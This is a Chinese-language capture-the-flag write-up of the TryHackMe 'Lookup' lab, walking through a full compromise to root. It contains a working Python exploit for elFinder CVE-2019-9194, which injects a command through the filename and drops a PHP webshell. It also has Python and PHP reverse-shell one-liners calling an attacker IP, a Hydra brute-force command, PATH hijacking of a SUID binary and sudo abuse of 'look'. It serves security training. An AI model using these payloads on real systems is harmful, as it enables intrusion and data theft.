TryHackMe Lookup writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Lookup
- 難度: Easy
- 目標: 獲取 User Flag 和 Root Flag
- 連結: https://tryhackme.com/room/lookup
偵察階段
Hosts 配置
sudo bash -c 'echo "10.201.21.100 lookup.thm" >> /etc/hosts'
Nmap 掃描
nmap -Pn -sV -sC -p 22,80 10.201.21.100 -T4
掃描結果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open http Apache/2.4.41 ((Ubuntu))
目錄枚舉
gobuster dir -u http://lookup.thm/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 20 -x php
發現的路徑:
/index.php- 登錄頁面/login.php- 登錄處理腳本/styles.css- 樣式表
Step 1: 用戶枚舉
發現漏洞
訪問 http://lookup.thm 發現登錄表單。測試後發現:
測試不存在的用戶:
curl -X POST http://lookup.thm/login.php \
-d "username=test&password=test"
回應:Wrong username or password.
測試 admin 用戶:
curl -X POST http://lookup.thm/login.php \
-d "username=admin&password=test"
回應:Wrong password. Please try again.
關鍵發現:錯誤訊息不同!這意味著可以枚舉用戶名。
枚舉用戶
使用 burp suite intruder 枚舉存在的用戶:
記得先固定密碼,後來爆破用戶名

發現的用戶:
adminjose
Step 2: 密碼爆破
使用 Hydra 爆破
針對 jose 用戶進行密碼爆破(admin 通常較難):
hydra -l jose -P /usr/share/wordlists/rockyou.txt \
lookup.thm \
http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" \
-t 16
成功!
[80][http-post-form] host: lookup.thm login: jose password: password123
Step 3: 發現隱藏 Subdomain
登錄後的發現
使用 jose:password123 登錄後,被重定向到:
http://files.lookup.thm/elFinder/elfinder.html
關鍵發現:
- 存在隱藏的 subdomain:
files.lookup.thm - 使用 elFinder 2.1.47 文件管理器
更新 Hosts
sudo bash -c 'echo "10.201.21.100 files.lookup.thm" >> /etc/hosts'
查看重要文件
在 elFinder 中發現多個文本文件,其中最重要的:
credentials.txt
think : nopassword
thislogin.txt
jose : password123
Step 4: 漏洞利用 - elFinder CVE-2019-9194
漏洞資訊
- CVE: CVE-2019-9194
- 影響版本: elFinder <= 2.1.47
- 漏洞類型: Command Injection (命令注入)
- Exploit: https://www.exploit-db.com/exploits/46481
漏洞原理
elFinder 在處理圖片旋轉時會調用 exiftran 命令,而文件名沒有正確過濾,導致命令注入漏洞。
準備 Exploit
Python3 版本的 exploit 腳本:
import requests
import json
import sys
# This is python3 version of exploit from: https://www.exploit-db.com/exploits/46481
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# CVE: CVE-2019-9194
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
if len(sys.argv) != 2:
print("Usage: python3 exploit.py [URL]")
sys.exit(0)
def upload(url, payload):
try:
with open('SecSignal.jpg', 'rb') as f:
files = {'upload[]': (payload, f)}
data = {"reqid": "1693222c439f4", "cmd": "upload", "target": "l1_Lw", "mtime[]": "1497726174"}
r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
j = json.loads(r.text)
return j['added'][0]['hash']
except Exception as e:
print(f"[!] Upload failed: {e}")
sys.exit(1)
def img_rotate(url, hash):
r = requests.get(f"{url}/php/connector.minimal.php?target={hash}&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c")
return r.text
def shell(url):
r = requests.get(f"{url}/php/SecSignal.php")
if r.status_code == 200:
print("[+] Pwned! :)")
print("[+] Getting the shell...")
while True:
try:
user_input = input("$ ")
r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
print(r.text)
except KeyboardInterrupt:
print("\nBye kaker!")
sys.exit(0)
else:
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
url = sys.argv[1]
print("[*] Uploading the malicious image...")
hash = upload(url, payload)
print("[*] Running the payload...")
img_rotate(url, hash)
shell(url)
if __name__ == "__main__":
main()執行 Exploit
重要:必須使用真實的 JPG 圖片文件,不能用文本文件!
# 1. 使用真實的 JPG 圖片
cp /path/to/your/photo.jpg SecSignal.jpg
# 2. 確認是真正的圖片
file SecSignal.jpg
# 輸出:JPEG image data
# 3. 運行 exploit
python3 exploit.py http://files.lookup.thm/elFinder
成功獲得 webshell!
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data
Step 4.5: 建立反向 Shell
設置監聽器
雖然已經獲得了互動式 webshell,但為了更穩定的操作,嘗試建立反向 shell:
# 在Windows Powershell開啟監聽器
ncat -lvnp 4444嘗試反向連接
在 webshell 中執行反向 shell payload:
Python 反向 shell
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.90.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# 或 PHP 反向 shell
$ php -r '$sock=fsockopen("10.13.90.144",4444);exec("/bin/sh -i <&3 >&3 2>&3");'結果
成功建立 reverse shell
Step 5: 橫向移動 - PATH 劫持
查找 SUID 文件
$ find / -perm -4000 -type f 2>/dev/null
關鍵發現:
/usr/sbin/pwm
分析 pwm 程序
運行 /usr/sbin/pwm 後發現:
- 程序會調用
id命令獲取用戶信息 - 關鍵:調用
id時沒有使用絕對路徑 - 根據用戶名讀取
/home/{username}/.passwords文件
PATH 劫持攻擊
# 1. 創建假的 id 命令
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id
# 2. 給予執行權限
$ chmod +x /tmp/id
# 3. 修改 PATH(將 /tmp 放在最前面)
$ export PATH=/tmp:$PATH
# 4. 運行 pwm
$ /usr/sbin/pwm
成功獲取 think 的密碼列表!
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
...
josemario.AKA(think) ← 注意這個!
...
Step 6: SSH 登錄獲取 User Flag
密碼分析
從密碼列表中,最可疑的是:
josemario.AKA(think)
名字中包含 "think",很可能就是 SSH 密碼。
SSH 登錄
ssh [email protected]
# 密碼:josemario.AKA(think)
成功登錄!
獲取 User Flag
think@ip-10-201-21-100:~$ cat user.txt
RedactedStep 7: 提權到 Root
檢查 Sudo 權限
think@ip-10-201-21-100:~$ sudo -l
User think may run the following commands on ip-10-201-21-100:
(ALL) /usr/bin/look
可以使用 sudo 執行 /usr/bin/look 命令!
利用 look 命令look 命令用於在文件中搜索以特定字符開頭的行。
讀取 Root Flag
# 使用 for 循環嘗試所有數字
think@ip-10-201-21-100:~$ for i in {0..9}; do sudo look $i /root/root.txt; done
Redacted
技術要點總結
1. 用戶枚舉漏洞
識別特徵:
- 不同用戶的錯誤訊息不同
- "Wrong password" vs "Wrong username or password"
2. elFinder CVE-2019-9194 命令注入
漏洞原理:
- 圖片旋轉功能調用外部命令
- 文件名未正確過濾
- 可通過文件名注入命令
3. PATH 劫持 (SUID Exploitation)
攻擊條件:
- SUID 二進制文件
- 調用外部命令時未使用絕對路徑
- 可控制 PATH 環境變量
4. Sudo 濫用 - look 命令
檢查命令:
sudo -l
參考資源:
利用方法:
sudo look [char] [file] # 讀取以特定字符開頭的行
經驗分享
關於Step 1: 用戶枚舉:
這一步其實前面花了非常多時間,因為題目的前言有提到要找到隱藏的domain,所以在開始暴力破解帳號密碼前,利用gobuster掃描了vhost,但都沒有結果,也用gobuster做目錄爆破,同樣沒有太多結果,才會往登錄的介面著手檢查漏洞,但這裡又卡了一些時間,檢查有無sql注入等等,最後發現可以枚舉使用者,也成功找到使用者jose。
關於Step 4: 漏洞利用 - elFinder CVE-2019-9194:
不確定為何在使用searchsploit提供的exploit腳本,花了非常多時間,了解怎麼使用,但始終無法突破,最後在github找到一個版本,也有提供使用的方法,使用的方法很重要,因為這種滲透腳本一定要了解方法,才知道怎麼用,可參考:
Member discussion